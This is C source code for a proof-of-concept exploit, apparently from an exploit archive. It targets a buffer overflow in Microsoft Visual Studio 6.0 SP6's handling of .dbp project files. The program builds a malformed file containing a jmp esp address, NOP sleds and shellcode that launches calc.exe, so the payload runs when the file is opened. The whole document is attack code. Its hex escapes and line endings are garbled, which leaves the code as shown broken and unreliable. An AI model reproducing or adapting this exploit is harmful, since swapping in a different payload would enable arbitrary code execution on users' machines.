/*****************************************************************

Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozan

Bug Discovered and Exploit Coded by: Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Affected Vendor:

Microsoft (www.microsoft.com)


Affected Products:

Microsoft Visual Studio 6.0 (with latest Service Pack 6)
Microsoft Development Environment 6.0 (SP6) (Microsoft Visual InterDev 6.0)


Vulnerability Details:

A Buffer Overflow Vulnerability is exists for the following file formats
of affected product.


Visual Studio Database Project File (.dbp)
Visual Studio Solution (.sln)

Original Advisory and Technical Details:

http://spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=73
http://www.securitytracker.com/alerts/2006/Mar/1015721.html

*****************************************************************/

#include <windows.h>
#include <stdio.h>


char szHeaderBlock[] =
       "x23x20x4Dx69x63x72x6Fx73x6Fx66x74x20x44x65x76x65"
   "x6Cx6Fx70x65x72x20x53x74x75x64x69x6Fx20x50x72x6F"
   "x6Ax65x63x74x20x46x69x6Cx65x20x2Dx20x44x61x74x61"
   "x62x61x73x65x20x50x72x6Fx6Ax65x63x74x0Dx0Ax42x65"
   "x67x69x6Ex20x44x61x74x61x50x72x6Fx6Ax65x63x74x20"
   "x3Dx20x22x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";


// 0x4656b8c3 - jmp esp - VSSLN.DLL

char szEip[] = "xc3xb8x56x46";


char szTrashCode[] =
       "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
       "x90x90";


// invoke calc.exe

char szShellCode[] =
       "x33xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13xef"
       "x9bxf0xd8x83xebxfcxe2xf4x13x73xb4xd8xefx9bx7bx9d"
       "xd3x10x8cxddx97x9ax1fx53xa0x83x7bx87xcfx9ax1bx91"
       "x64xafx7bxd9x01xaax30x41x43x1fx30xacxe8x5ax3axd5"
       "xeex59x1bx2cxd4xcfxd4xdcx9ax7ex7bx87xcbx9ax1bxbe"
       "x64x97xbbx53xb0x87xf1x33x64x87x7bxd9x04x12xacxfc"
       "xebx58xc1x18x8bx10xb0xe8x6ax5bx88xd4x64xdbxfcx53"
       "x9fx87x5dx53x87x93x1bxd1x64x1bx40xd8xefx9bx7bxb0"
       "xd3xc4xc1x2ex8fxcdx79x20x6cx5bx8bx88x87xe5x28x3a"
       "x9cxf3x68x26x65x95xa7x27x08xf8x91xb4x8cx9bxf0xd8";


char szTrashCode2[] =
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
   "x90x90x90x90x90x90x90x90x90x90x90x90x90";


char szFooterBlock[] = "x22x0Dx0Ax45x6Ex64x0Dx0A";


int main()
{
       fprintf(stdout, "rnrn"
                                       "--------------------------------------------------------------------------"
                                       "rn"
                                       "Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozann"
                                       "Bug Discovered and Exploit Coded by:Kozann"
                                       "Credits to ATmaCAn"
                                       "www.spyinstructors.com - kozan@spyinstructors.comn"
                                       "rn"
                                       "--------------------------------------------------------------------------"
                                       "rnrn"
       );

       int nBufLen =   sizeof(szHeaderBlock) +
                                       sizeof(szFooterBlock) +
                                       sizeof(szTrashCode) +
                                       sizeof(szTrashCode2) +
                                       sizeof(szEip) +
                                       sizeof(szShellCode) - 6;

       char *pszFileBuf = (char*)malloc(nBufLen);

       memset(pszFileBuf, 0x90, nBufLen);
       memcpy(pszFileBuf, szHeaderBlock, sizeof(szHeaderBlock)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1, szEip, sizeof(szEip)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1, szTrashCode, sizeof(szTrashCode)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1, szShellCode, sizeof(szShellCode)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1, szTrashCode2, sizeof(szTrashCode2)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1+sizeof(szTrashCode2)-1, szFooterBlock, sizeof(szFooterBlock)-1);

       FILE *fp;
       if( (fp = fopen("c:\vuln.dbp","a+b")) == NULL )
       {
               fprintf( stderr, "[Error]t: Can not create c:\vuln.dbp file!rn");
               return -1;
       }
       fwrite(pszFileBuf, nBufLen, 1, fp);
       fclose(fp);

       fprintf( stdout, "[Completed]t: c:\vuln.dbp file created successfuly. Open it to test...rn");

       return 0;

}

// www.Syue.com [2006-03-05]